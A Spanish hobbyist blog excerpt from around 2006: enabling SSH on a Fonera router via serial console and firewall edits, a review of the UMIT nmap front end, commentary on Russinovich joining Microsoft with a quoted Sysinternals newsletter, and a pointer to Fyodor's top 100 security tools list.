Vamos paso a paso. En el circuito que hemos preparado hemos dejado cuatro pines: dos de alimentación y otros dos para las señales de transmisión (tx) y recepción (rx). Los colores que he usado son los siguientes:

fonera5

  • Rojo para el positivo de alimentación (+5v).

  • Negro para el común (GND).
  • Verde para la señal de transmisión (tx).
  • Blanco para la señal de recepción (rx).

Los hilos de transmisión y recepción van conectados directamente entre nuestro circuito y la fonera en los pines que se ven en la foto de la derecha. Alimentamos nuestro circuito con la salida que nos da el cargador-USB y unimos los comunes de ambos circuitos. Encendemos la fonera, conectamos desde nuestro emulador de terminal favorito (9600,8,N,1 y sin control de flujo). Et voilà. La secuencia completa de este arranque la teneis aquí.

Ahora ya sólo nos resta hacer las modificaciones pertinentes para tener acceso a ella a través de ssh y no tener que volver a usar este engorroso procedimiento. Jauzsi explica muy bien lo que hay que hacer para ello:

  • mv /etc/init.d/dropbear /etc/init.d/S50dropbear

  • vi /etc/firewall.user
  • Quitamos los comentarios de las reglas que bloquean el acceso a través de ssh (puerto 22). Estas concretamente:
    ## -- This allows port 22 to be answered by (dropbear on) the router
    # iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT
    # iptables -A input_rule -i $WAN -p tcp --dport 22 -j ACCEPT
  • Salvamos los cambios (¡que no se os olvide!) y reiniciamos el router (reboot).

Y listo. Ya podemos desmontar el chiringuito. La próxima conexión a nuestra fonera la haremos como está mandado: por ssh.

    josemaria@valeria:/etc$ ssh root@192.168.1.3
    The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.
    RSA key fingerprint is d1:85:26:37:10:88:80:24:47:e3:fe:74:29:b8:fd:82.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts.
    root@192.168.1.3's password:

    BusyBox v1.1.3 (2006.08.17-19:56+0000) Built-in shell (ash)
    Enter 'help' for a list of built-in commands.

    _______ _______ _______
    | ____|| || _ |
    | ____|| - || | | |
    | | |_______||__| |__|
    |___|

    Fonera Firmware (Version 0.7.0 rev 4) -------------
    *
    * Based on OpenWrt - http://openwrt.org
    * Powered by FON - http://www.fon.com
    ---------------------------------------------------
    root@OpenWrt:~#

The UMIT project

Fruto del programa Summer of Code 2006 de Google Code acaba de ver la luz uno de los desarrollos alrededor de nmap que han sido becados este año: UMIT (antes llamado NmapFE++), un nuevo front end para nmap escrito en Phyton y que usa las GTK. El anuncio oficial de Adriano Monteiro, el autor, aquí.

La instalación es muy sencilla. Las dependencias están bien explicitadas (aunque no vendría de más decir que las distutils de python, necesarias para la instalación, vienen desde hace tiempo sólo con el paquete python-devel en la mayoría de las distribuciones) y el script de instalación va como una seda.

El interfaz del programa es cómodo y muy intuitivo. Cuenta con un ‘wizard’ con dos niveles (novatos o usuarios experimentados) que te permite construir el comando que necesitas sin tener que recordar las decenas de opciones que posee nmap, permite lanzar comandos previamente definidos y comparar los resultados entre distintas sesiones y disponemos tanto de la salida original de la herramienta (pero con ‘sintaxis iluminada’ para una mayor comprensión) como de salidas filtradas y decoradas con iconos para que resulten más intuitivas.

UMIT, el nuevo Front End para nmap

Existe un blog asociado al proyecto aunque imagino que se seguiran dando novedades del mismo a través de las listas de Nmap Hackers y Nmap Developers.

Norton vs. Russinovich

El pasado martes 18 de julio Mark Russinovich anunciaba en su blog que Microsoft había comprado Winternals y Sysinternals y que el mismo pasaba a formar parte de la plantilla del gigante de Redmon. Verdaderamente una mala noticia para casi todo el mundo… salvo, claro, para él que habrá pasado a formar parte de forma automática de esa privilegiada (y ‘rarita’, todo hay que decirlo) minoría de personas que trabajan exclusivamente por gusto y no por dinero. Pobres diablos… 😉

Russinovich junto con Peter Norton (no he podido evitar acordarme de él al escribir estas líneas) han sido dos de los grandes divulgadores del mundo de la “informática personal”. Cada uno con su estilo propio y, logicamente, restringidos a la época en la que tuvieron su máximo esplendor, pero muy similares en cuanto a su dedicación a la divulgación de conocimientos. Recuerdo haber salvado la información de muchas máquinas durante la segunda mitad de los 80 gracias a las Norton Tools y haber aprendido mucho (muchísimo, en realidad) con aquel imprescindible The Peter Norton programmer’s guide to the IBM PC. Y tanto más del funcionamiento interno de los primeros Windows NT (y familia) en la segunda mitad de los 90 y gracias a las maravillosas herramientas de Russinovic. Ni la propia IBM, en el caso de Norton, ni Microsoft, en el caso de Russinovich, han hecho tanto como estos dos gurús para difundir información acerca de sus propios productos.

Mark Russinovich   Peter Norton

Peter Norton hace tiempo que está fuera del circuito. Su tiempo pasó, vendío su compañía a Symantec y se desvinculó completamente de ella. Ahora se dedica a esas cosas a las que se dedican los millonarios desocupados: preside fundaciones, compra obras de arte, etc. Russinovich, por el contrario, ha decidido seguir trabajando en sus empresas aunque ahora ya no le pertenecen a el sino a la compañia a cuyos productos ha dedicado tantos años y esfuerzos a mejorar. Pero no nos engañemos: su ciclo también se cierra aquí. Microsoft es una empresa que cotiza en bolsa y, por mucho que quieran decirnos, no admitirá jamás que nadie la critique ni le enmiende la plana estando en su nómina. Al menos no más de lo necesario para dar una falsa imagen de democracia y tolerancia interna. Podemos despedirnos del Russinovich que denunciaba que la vulnerabilidad de los archivos WMF se debía a un torpe diseño o que recomendaba encarecidamente el uso de Firefox frente al Explorer (no encuentro ese texto ni en su blog ni a través de Google… ¿dónde diablos lo leí?). También del que ampliaba las funcionalidades de windows con nuevas herramientas siempre que esto vaya en contra de las directrices de sus nuevos patrones… En definitiva, el tiempo de Russinovich también ha acabado.

ACTUALIZACI?N: Por una vez mi memoria parece funcionar correctamente y he logrado encontrar la defensa que Russinovich hizo de Mozilla (y no de Firefox, como yo recordaba) frente al Internet Explorer. Fue en junio de 2003 en los boletines que Sysinternals solía enviar a través de su lista de correo en Yahoogroups. El boletín es de acceso previa suscripción, así que os cito a continuación el texto para los que no querais pasar el trámite:

EDITORIAL

Hello everyone,

Welcome to the Sysinternals newsletter. The newsletter currently has 36,000 subscribers.

I finally did it. I switched from Internet Explorer to Mozilla (http://www.mozilla.org). Bryce Cogswell (my Sysinternals and Winternals cofounder) has been using Mozilla for a couple of years now and he’s periodically updated me about all the cool features it has that IE doesn’t. Most obviously, instead of opening new pages in separate windows you can have them open in tabbed pages of the same browser window. If you have multiple pages you want the browser to open when you launch it, just make a group of tabs your startup group.

Whereas IE has a global setting for remembering web page passwords, Mozilla lets you specify web pages for which you want it to remember passwords and you can use the password manager to remove remembered passwords at any time. Add in a built-in download manager, integrated e-mail client (which I don’t use), multiple profiles, a built-in chat program, integration with popular search engines, and the distance between Mozilla and IE starts to look impressive.

However, Mozilla really shines when it comes to annoying web sites. It includes a built-in popup manager where you can configure popup filtering on a site-by-site basis if you desire. It has a cookie manager you use to block cookies, also by site if you want, and to view the cookies that have been dropped on your system. You can also configure Mozilla’s behavior when it comes to images. Most sites that have obnoxious banners pull the graphic files from external sponsor sites and you can configure Mozilla to ignore external images, again, site-by-site if you want. Finally, a nice visual touch is Mozilla’s skinning support, with numerous skins freely available.

I’m sure this sounds like a sales pitch, but its not. Its more a commentary on what lack of competition does to a product segment. Why doesn’t IE have features like cookie management and popup blocking that consumers have to spend money for when Mozilla includes those features and more for free? Why did IE change so little between version 5 and 6 and why hasn’t it been updated in two years? The vast majority of consumers uses whatever software they have on their computers and don’t read open-source newsgroups or visit Slashdot.org and so they are unaware that better, freely available alternatives exist. Microsoft and Netscape made browsers free in their competition to dominate the web server application market so there’s no financial benefit in Microsoft improving IE – they don’t lose any money when
a power user like me switches to Mozilla.

You can see the same effect even in Microsoft’s add-on software. I used to use Eudora as my e-mail client, but about two years ago switched to Outlook. It seemed like everyone was using Outlook and I wanted to take advantage of its calendaring feature. I immediately found a number of small annoyances. For instance, you can configure Eudora to leave e-mail over a certain size on the server, which is helpful when you’re dialed in at 25 Kb in a hotel room. Outlook has a similar feature, but Eudora downloads the first few lines of message text so that you see what the e-mail is about and use that information to decide whether or not to suffer a long download. Outlook doesn’t.

I could go on, but you’ve got my message by now and can probably add a list of your own anecdotes. The bottom line is that competition is good for the computer consumer. Maybe IE “Longhorn” will blow Mozilla away?

Please pass the newsletter to friends you think might be interested in its content.

Thanks!

-Mark

Las 100 mejores herramientas de seguridad para redes

Fyodor, el creador del nmap Security Scanner, realiza tri-anualmente una encuesta entre los suscriptores de la lista de correos nmap-hackers preguntando por sus herramientas de seguridad favoritas y con los resultados elabora una lista clasificada en función del número de votos. Dada la alta especialización de los lectores de esta lista de correos podemos estar casi seguros de que los resultados son muy fiables y que tenemos, sin duda, el mejor listado de herramientas de seguridad de que podemos disponer.

En el correo que envía Fyodor anunciando la publicación de los resultados introduce algunas de las novedades de este año: entran con fuerza en la lista los cada vez más populares Exploits Frameworks como Metaesploit (que es la quinta herramienta más votada), Core Impact o Canvas, sube la popularidad de las herramientas para auditar redes inalámbricas como Kismet (séptima posición) o Aircrack y Nessus mantiene su primera posición a pesar de que ya no es una herramienta de código abierto.

La lista, además, da información acerca de los entornos para los que está disponible cada una de las herramientas con un intuitivo sistema de iconos, indica si disponen de GUI o de interfaz en línea de comandos, si son gratuitas o comerciales y si el código fuente está disponible de forma pública. Este año, además, introduce una útil subclasificación por categorías (sniffers, IDS’s, password crackers, etc.).

Sin más, os dejo con ella:

Top 100 Network Security Tools